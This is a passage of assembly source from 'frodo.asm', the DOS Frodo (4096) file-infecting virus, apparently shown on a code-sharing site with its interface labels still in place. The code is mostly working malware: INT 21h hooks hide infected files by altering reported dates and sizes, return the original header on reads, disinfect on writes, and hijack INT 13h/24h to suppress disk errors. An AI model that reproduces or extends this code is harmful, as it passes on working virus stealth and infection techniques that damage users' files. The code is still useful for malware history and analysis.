📄 frodo.asm
字号:
exit_checkforinfection:
pop ax
pop dx
pop cx
retn
obtainfilesize:
call saveregs
mov ax,4201h ; Get current file position
xor cx,cx
xor dx,dx
call callint21
mov cs:curfileposlow,ax
mov cs:curfileposhigh,dx
mov ax,4202h ; Go to end of file
xor cx,cx
xor dx,dx
call callint21
mov cs:filesizelow,ax
mov cs:filesizehigh,dx
mov ax,4200h ; Return to file position
mov dx,cs:curfileposlow
mov cx,cs:curfileposhigh
call callint21
call restoreregs
retn
getsetfiletimedate:
or al,al ; Get time/date?
jnz checkifsettimedate ; if not, see if Set time/date
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
call _popall
call callint21
jc gettimedate_error ; exit on error
test dh,80h ; check year bit if infected
jz gettimedate_notinfected
sub dh,0C8h ; if so, hide change
gettimedate_notinfected:
jmp exitint21
gettimedate_error:
or word ptr cs:int21flags,1; turn on trap flag
jmp exitint21
checkifsettimedate:
cmp al,1 ; Set time/date?
jne exit_filetimedate_pointer
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
test dh,80h ; Infection bit set?
jz set_yearbitset
sub dh,0C8h ; clear infection bit
set_yearbitset:
call checkforinfection
jz set_datetime_nofinagle
add dh,0C8h ; set infection flag
set_datetime_nofinagle:
call callint21
mov [bp-4],ax
adc word ptr cs:int21flags,0; turn on/off trap flag
jmp _popall_then_exitint21 ; depending on result
handlemovefilepointer:
cmp al,2
jne exit_filetimedate_pointer
call checkforinfection
jz exit_filetimedate_pointer
sub word ptr [bp-0Ah],1000h ; hide file size
sbb word ptr [bp-8],0
exit_filetimedate_pointer:
jmp exitotherint21
handleread:
and byte ptr cs:int21flags,0FEh ; clear trap flag
call checkforinfection ; exit if it is not
jz exit_filetimedate_pointer ; infected -- no need
; to do stealthy stuff
mov cs:savelength,cx
mov cs:savebuffer,dx
mov word ptr cs:return_code,0
call obtainfilesize
mov ax,cs:filesizelow ; store the file size
mov dx,cs:filesizehigh
sub ax,1000h ; get uninfected file size
sbb dx,0
sub ax,cs:curfileposlow ; check if currently in
sbb dx,cs:curfileposhigh ; virus code
jns not_in_virus_body ; continue if not
mov word ptr [bp-4],0 ; set return code = 0
jmp handleopenclose_exit
not_in_virus_body:
jnz not_reading_header
cmp ax,cx ; reading from header?
ja not_reading_header
mov cs:savelength,ax ; # bytes into header
not_reading_header:
mov dx,cs:curfileposlow
mov cx,cs:curfileposhigh
or cx,cx ; if reading > 64K into file,
jnz finish_reading ; then no problems
cmp dx,1Ch ; if reading from header, then
jbe reading_from_header ; do stealthy stuff
finish_reading:
mov dx,cs:savebuffer
mov cx,cs:savelength
mov ah,3Fh ; read file
call callint21
add ax,cs:return_code ; ax = bytes read
mov [bp-4],ax ; set return code properly
jmp _popall_then_exitint21
reading_from_header:
mov si,dx
mov di,dx
add di,cs:savelength
cmp di,1Ch ; reading all of header?
jb read_part_of_header ; nope, calculate how much
xor di,di
jmp short do_read_from_header
read_part_of_header:
sub di,1Ch
neg di
do_read_from_header:
mov ax,dx
mov cx,cs:filesizehigh ; calculate location in
mov dx,cs:filesizelow ; the file of the virus
add dx,0Fh ; storage area for the
adc cx,0 ; original 1Ch bytes of
and dx,0FFF0h ; the file
sub dx,0FFCh
sbb cx,0
add dx,ax
adc cx,0
mov ax,4200h ; go to that location
call callint21
mov cx,1Ch
sub cx,di
sub cx,si
mov ah,3Fh ; read the original header
mov dx,cs:savebuffer
call callint21
add cs:savebuffer,ax
sub cs:savelength,ax
add cs:return_code,ax
xor cx,cx ; go past the virus's header
mov dx,1Ch
mov ax,4200h
call callint21
jmp finish_reading ; and continue the reading
handlewrite:
and byte ptr cs:int21flags,0FEh ; turn off trap flag
call checkforinfection
jnz continue_handlewrite
jmp exit_filetimedate_pointer
continue_handlewrite:
mov cs:savelength,cx
mov cs:savebuffer,dx
mov word ptr cs:return_code,0
call obtainfilesize
mov ax,cs:filesizelow
mov dx,cs:filesizehigh
sub ax,1000h ; calculate original file
sbb dx,0 ; size
sub ax,cs:curfileposlow ; writing from inside the
sbb dx,cs:curfileposhigh ; virus?
js finish_write ; if not, we can continue
jmp short write_inside_virus; otherwise, fixup some stuff
finish_write:
call replaceint13and24
push cs
pop ds
mov dx,ds:filesizelow ; calculate location in file
mov cx,ds:filesizehigh ; of the virus storage of the
add dx,0Fh ; original 1Ch bytes of the
adc cx,0 ; file
and dx,0FFF0h
sub dx,0FFCh
sbb cx,0
mov ax,4200h
call callint21
mov dx,offset oldheader
mov cx,1Ch
mov ah,3Fh ; read original header
call callint21
mov ax,4200h ; go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov dx,offset oldheader
mov cx,1Ch
mov ah,40h ; write original header to
call callint21 ; the file
mov dx,0F000h ; go back 4096 bytes
mov cx,0FFFFh ; from the end of the
mov ax,4202h ; file and
call callint21
mov ah,40h ; truncate the file
xor cx,cx ; at that position
call callint21
mov dx,ds:curfileposlow ; Go to current file position
mov cx,ds:curfileposhigh
mov ax,4200h
call callint21
mov ax,5700h ; Get file time/date
call callint21
test dh,80h
jz high_bit_aint_set
sub dh,0C8h ; restore file date
mov ax,5701h ; put it onto the disk
call callint21
high_bit_aint_set:
call restoreint13and24
jmp exitotherint21
write_inside_virus:
jnz write_inside_header ; write from start of file?
cmp ax,cx
ja write_inside_header ; write from inside header?
jmp finish_write
write_inside_header:
mov dx,cs:curfileposlow
mov cx,cs:curfileposhigh
or cx,cx ; Reading over 64K?
jnz writemorethan1Chbytes
cmp dx,1Ch ; Reading over 1Ch bytes?
ja writemorethan1Chbytes
jmp finish_write
writemorethan1Chbytes:
call _popall
call callint21 ; chain to int 21h
; (allow write to take place)
call _pushall
mov ax,5700h ; Get file time/date
call callint21
test dh,80h
jnz _popall_then_exitint21_
add dh,0C8h
mov ax,5701h ; restore file date
call callint21
_popall_then_exitint21_:
jmp _popall_then_exitint21
jmp exitotherint21
int13:
pop word ptr cs:int13tempCSIP ; get calling CS:IP off
pop word ptr cs:int13tempCSIP+2 ; the stack
pop word ptr cs:int13flags
and word ptr cs:int13flags,0FFFEh ; turn off trap flag
cmp byte ptr cs:errorflag,0 ; any errors yet?
jne exitint13error ; yes, already an error
push word ptr cs:int13flags
call dword ptr cs:origints
jnc exitint13
inc byte ptr cs:errorflag ; mark error
exitint13error:
stc ; mark error
exitint13:
jmp dword ptr cs:int13tempCSIP ; return to caller
int24:
xor al,al ; ignore error
mov byte ptr cs:errorflag,1 ; mark error
iret
replaceint13and24:
mov byte ptr cs:errorflag,0 ; clear errors
call saveregs
push cs
pop ds
mov al,13h ; save int 13 handler
call getint
mov word ptr ds:origints,bx
mov word ptr ds:origints+2,es
mov word ptr ds:oldint13,bx
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -